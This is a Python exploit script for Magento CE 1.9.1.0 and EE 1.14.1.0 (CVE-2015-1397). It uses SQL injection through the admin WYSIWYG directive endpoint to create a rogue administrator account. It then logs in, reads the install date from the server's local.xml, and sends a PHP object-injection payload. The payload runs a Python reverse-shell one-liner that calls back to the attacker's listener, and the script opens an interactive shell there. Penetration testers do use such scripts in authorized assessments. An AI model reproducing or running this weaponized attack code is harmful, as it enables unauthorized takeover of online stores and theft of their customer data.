# -*- coding: utf-8 -*-

# Magento Community Edition (CE) 1.9.1.0 and Enterprise Edition (EE) 1.14.1.0 RCE + Magento CE < 1.9.0.1 Post Auth RCE 
# CVE: 2015-1397 
# Exploit author: Checkpoint
# https://blog.checkpoint.com/2015/04/20/analyzing-magento-vulnerability/
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1397
# Python script exploit author: nullarmor <nullarmor@protonmail.com>

import argparse
import base64
import os
import requests
import sys
import subprocess
from hashlib import md5
from pwn import *

def main():
    
    # args
    argparser = argparse.ArgumentParser(description='Magento Community Edition (CE) 1.9.1.0 and Enterprise Edition (EE) 1.14.1.0 RCE + Magento CE < 1.9.0.1 Post Auth RCE', 
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")
    
    main_arg.add_argument('-h', '--help', 
                            help='Show this help menu', 
                            action='store_true')
    
    main_arg.add_argument('--rhost', type=str,
                            help='Magento CE host', 
                            required=True)
    
    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive reverse shell', 
                            required=True)
    
    main_arg.add_argument('--username', type=str,
                            help='Magento CE desired username', 
                            required=True)
    
    main_arg.add_argument('--password', type=str,
                            help='Magento CE desired password',
                            required=True)
    
    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive reverse shell (default: 4444)', 
                            default='4444')
    
    main_arg.add_argument('--burpsuite', action='store_true',
                            help='Enable burpsuite proxy')
    
    
    args = argparser.parse_args()
    
    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)
    
    # cons
    lhost = args.lhost
    lport = args.lport
    rhost = args.rhost if args.rhost[-1] is '/' else args.rhost + "/"
    username_ = args.username
    password_ = args.password
    burpsuite = args.burpsuite
    
    # req
    sess = requests.Session()
    
    def reverse_shell():
        
        print(" [*] Spawning the interactive shell...")
        
        try:
            l = listen(lport)
            l.sendline("id")
            l.interactive()
        
        except Exception as e:
            print(e)
            print(" [*] Failed to spawn the shell :(")
    
    
    # https://www.exploit-db.com/exploits/37977
    def create_admin_profile():
        
        q="""
        SET @SALT = 'rp';
        SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
        SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
        INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
        INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
        """
        
        sql_query = q.replace("\n", "").format(username=username_, password=password_)
        payload_filter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(sql_query)
        payload_filter = payload_filter
        
        data = {
            "___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
            "filter": base64.b64encode(payload_filter.encode()).decode('utf-8'),
            "forwarded": 1
        }
        
        print(" [*] Creating admin account...")
        
        try:
            r = sess.post("{}admin/Cms_Wysiwyg/directive/index/".format(rhost), data=data)
        except:
            return False
        else:
            if r.ok:
                print(" [*] Admin account successfully created!")
                print(" [*] Credentials: {}:{}".format(username_, password_))
                
                return True
            else:
                print(" [*] Failed to create admin account!")
            
                return False
         
    
    # https://www.exploit-db.com/exploits/37811
    def authenticated_rce(username, password):
        
        # building payload
        rce = """python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""".format(lhost, lport)
        
        payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
          '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
          'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
          'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:6:\"system\";s:17:\"\00*\00'     \
          '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
          ';s:'+ str(len(rce)) +':\"' + rce + '\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}'
        
        payload = base64.b64encode(payload.encode()).decode('utf-8')
        
        # retrieving install_date
        print(" [*] Retrieving install date from /app/etc/local.xml ...")
        url = rhost.replace("index.php/", "").replace("admin/", "")
        url = url + "app/etc/local.xml"
            
        try:
            r = sess.get(url)
            install_date = r.text.split('<date><![CDATA[')[1].split(']]></date>')[0]
        except Exception as e:
            print(e)
            print(" [*] Failed to retrieve install date!")
            sys.exit(1)
        
        else:
            print(" [*] Install date retrieved with success: {}".format(install_date))
        
        # retrieving form_key
        print(" [*] Retrieving form_key...")
        
        try:
            r = sess.get("{}/admin".format(rhost)).text
            form_key = r.split('<input name="form_key" type="hidden" value="')[1].split('" />')[0]
        except Exception as e:
            print(e)
            print(" [*] Failed to retrieve form_key string!")
            sys.exit(1)
            
        else:
            # login process
            
            print(" [*] form_key retrieved: {}".format(form_key))
            
            params = {
                "login[username]": username,
                "form_key": form_key,
                "dummy": "",
                "login[password]": password
            }
            
            print(" [*] Doing the login into admin's dashboard...")
            
            try:
                r = sess.post("{}/admin".format(rhost), data=params)
                url = r.text.split("ajaxBlockUrl = '")[1].split("' + ajaxBlockParam")[0]
                
            except Exception as e:
                print(e)
                print(" [*] Failed to login using the credentials created early!")
                sys.exit(1)
                
            else:
                print(" [*] Login successfully, we are in!")
                print(" [*] Trying to grab some params...")
                
                # grabbing params
                data = {
                    "isAjax": "false",
                    "form_key": form_key
                }
                
                try:
                    r = sess.get('{}block/tab_orders/period/1y/?isAjax=true'.format(url), data=data)
                    url_tunnel = r.text.split('<img src="')[1].split('?ga=')[0]
                    gh = md5(payload.encode() + install_date.encode()).hexdigest()
                    
                except Exception as e:
                    print(e)
                    print(" [*] Failed to grab them, try again later!")
                    sys.exit(1)
                    
                else:
                    # exploiting :)
                    print(" [*] Params obtained, now exploiting the web application...")
                    exploit_url = "{}?ga={}&h={}".format(url_tunnel, payload, gh)
                    cookies = sess.cookies.get_dict()['adminhtml']
                    curl_payload = 'curl -sS "{}" -X GET -H "Cookie: adminhtml={}"'.format(exploit_url, cookies)                
                    
                    try:
                        subprocess.Popen([sys.executable, "-c", "import os; from time import sleep; sleep(2); os.system('{}')".format(curl_payload)], 
                                                                                                                               stdout=subprocess.PIPE, 
                                                                                                                               stderr=subprocess.STDOUT)
                        sess.get(exploit_url)
                    except Exception as e:
                        print(e)
                    else:
                        reverse_shell()
    
    # main
    print(" [>] Magento Community Edition (CE) 1.9.1.0 and Enterprise Edition (EE) 1.14.1.0 RCE + Magento CE < 1.9.0.1 Post Auth RCE")
    print(" [*] Python script exploit author: nullarmor")
                  
    if create_admin_profile():
        authenticated_rce(username_, password_)
    

if __name__ == "__main__":
    main()
